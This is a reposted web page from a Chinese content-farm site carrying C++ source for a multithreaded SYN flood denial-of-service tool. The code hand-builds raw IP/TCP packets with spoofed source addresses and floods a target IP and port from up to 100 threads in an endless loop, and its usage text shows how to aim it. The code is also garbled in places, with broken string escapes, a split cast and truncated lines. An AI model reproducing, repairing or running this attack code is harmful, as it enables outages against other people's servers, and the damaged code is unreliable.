您好,欢迎来到华佗小知识。
搜索
您的当前位置:首页C++实现多线程dos攻击程序代码

C++实现多线程dos攻击程序代码

来源:华佗小知识


#include

#include

#include

#pragma comment(lib,\"ws2_32.lib\")

#define SEQ 0x28376839

int threadnum,maxthread,port;

char *DestIP;//目标IP

void display(void) // 定义状态提示函数

{

static int play=0;

// 进度条

char *plays[12]=

{

\" | \

\" / \

\" - \

\" \\\\ \

\" | \

\" / \

\" - \

\" \\\\ \

\" | \

\" / \

\" - \

\" \\\\ \

};

printf(\"=%s= %d threads \\r\

play=(play==11)?0:play+1;

}

//定义一个tcphdr结构来存放TCP首部

typedef struct tcphdr

{

USHORT th_sport;//16位源端口号

USHORT th_dport;//16位目的端口号

unsigned int th_seq;//32位序列号

unsigned int th_ack;//32位确认号

unsigned char th_lenres;//4位首度+6位保留字中的4位

unsigned char th_flag;////6位标志位

USHORT th_win;//16位窗口大小

USHORT th_sum;//16位效验和

USHORT th_urp;//16位紧急数据偏移量

}TCP_HEADER;

//定义一个iphdr来存放IP首部

typedef struct iphdr//ip首部

{

unsigned char h_verlen;//4位手度,和4位IP版本号

unsigned char tos;//8位类型服务

unsigned short total_len;//16位总长度

unsigned short ident;//16位标志

unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)

unsigned char ttl;//8位生存时间

unsigned char proto;//8位协议

unsigned short checksum;//ip手部效验和

unsigned int sourceIP;//伪造IP地址

unsigned int destIP;//攻击的ip地址

}IP_HEADER;

//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性

struct

{

unsigned long saddr;//源地址

unsigned long daddr;//目的地址

char mbz;//置空

char ptcl;//协议类型

unsigned short tcpl;//TCP长度

}PSD_HEADER;

//计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)

//然后计算整个IP首部的二进制反码的和。

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size-=sizeof(USHORT);

}

if(size) cksum+=*(UCHAR*)buffer;

cksum=(cksum >> 16)+(cksum&0xffff);

cksum+=(cksum >>16);

return (USHORT)(~cksum);

}

DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数

{

SOCKET sock =NULL;

int

ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;

struct sockaddr_in sockAddr;

TCP_HEADER tcpheader;

IP_HEADER ipheader;

char sendBuf[128];

sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);

if(sock==INVALID_SOCKET)

{

printf(\"Socket failed: %d\\n\

return 0;

}

//设置IP_HDRINCL以便自己填充IP首部

ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if(ErrorCode==SOCKET_ERROR)

{

printf(\"Set sockopt failed: %d\\n\

return 0;

}

//设置发送超时

ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR)

{

printf(\"Set sockopt time out failed: %d\\n\

return 0;

}

//设置目标地址

memset(&sockAddr,0,sizeof(sockAddr));

sockAddr.sin_family=AF_INET;

sockAddr.sin_addr.s_addr =inet_addr(DestIP);

FakeIpNet=inet_addr(DestIP);

FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));

ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));

ipheader.ident = 1;

ipheader.frag_and_flags = 0;

ipheader.ttl = 128;

ipheader.proto = IPPROTO_TCP;

ipheader.checksum =0;

ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);

ipheader.destIP = inet_addr(DestIP);

//填充TCP首部

tcpheader.th_dport=htons(port);

tcpheader.th_sport = htons(8080);

tcpheader.th_seq = htonl(SEQ+SendSEQ);

tcpheader.th_ack = 0;

tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);

tcpheader.th_flag = 2;

tcpheader.th_win = htons(16384);

tcpheader.th_urp = 0;

tcpheader.th_sum = 0;

PSD_HEADER.saddr=ipheader.sourceIP;

PSD_HEADER.daddr=ipheader.destIP;

PSD_HEADER.mbz=0;

PSD_HEADER.ptcl=IPPROTO_TCP;

PSD_HEADER.tcpl=htons(sizeof(tcpheader));

for(;;)

{

SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;

ipheader.checksum =0;

ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);

tcpheader.th_seq = htonl(SEQ+SendSEQ);

tcpheader.th_sport = htons(SendSEQ);

tcpheader.th_sum = 0;

PSD_HEADER.saddr=ipheader.sourceIP;

//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和

memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));

memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));

tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

memcpy(sendBuf,&ipheader,sizeof(ipheader));

memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));

memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);

dataSize=sizeof(ipheader)+sizeof(tcpheader);

ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);

memcpy(sendBuf,&ipheader,sizeof(ipheader));

sendto(sock,sendBuf,dataSize,0,(struct &sockAddr,sizeof(sockAddr));

sockaddr*)

display();

}//end for

Sleep(20);

InterlockedExchangeAdd((long *)&threadnum,-1);

return 0;

}

void usage(char *name)

{

printf(\"\===================SYN Flood======================\\n\");

printf(\"\==========gxisone@hotmail.com 2004/7/6========\\n\");

printf(\"\usage: %s [dest_IP] [port] [thread]\\n\

printf(\"\Example: %s 192.168.1.1 80 100\\n\

}

int main(int argc,char* argv[])

{

if(argc!=4)

{

usage(argv[0]);

return 0;

}

usage(argv[1]);

int ErrorCode=0;

DestIP=argv[1];//取得目标主机IP

port=atoi(argv[2]);//取得目标端口号

maxthread=(maxthread>100)?100:atoi(argv[3]);

//如果线程数大于100则把线程数设置为100

WSADATA wsaData;

if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){

printf(\"WSAStartup failed: %d\\n\

return 0;

}

printf(\"[start]...........\\nPress any key to stop!\\n\");

while(threadnum{

if(CreateThread(NULL,0,SynfloodThread,0,0,0))

{

Sleep(10);

threadnum++;

}

}

WSACleanup();

printf(\"\\n[Stopd]...........\\n\");

return 0;

}

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- huatuo0.cn 版权所有 湘ICP备2023017654号-2

违法及侵权请联系:TEL:199 18 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务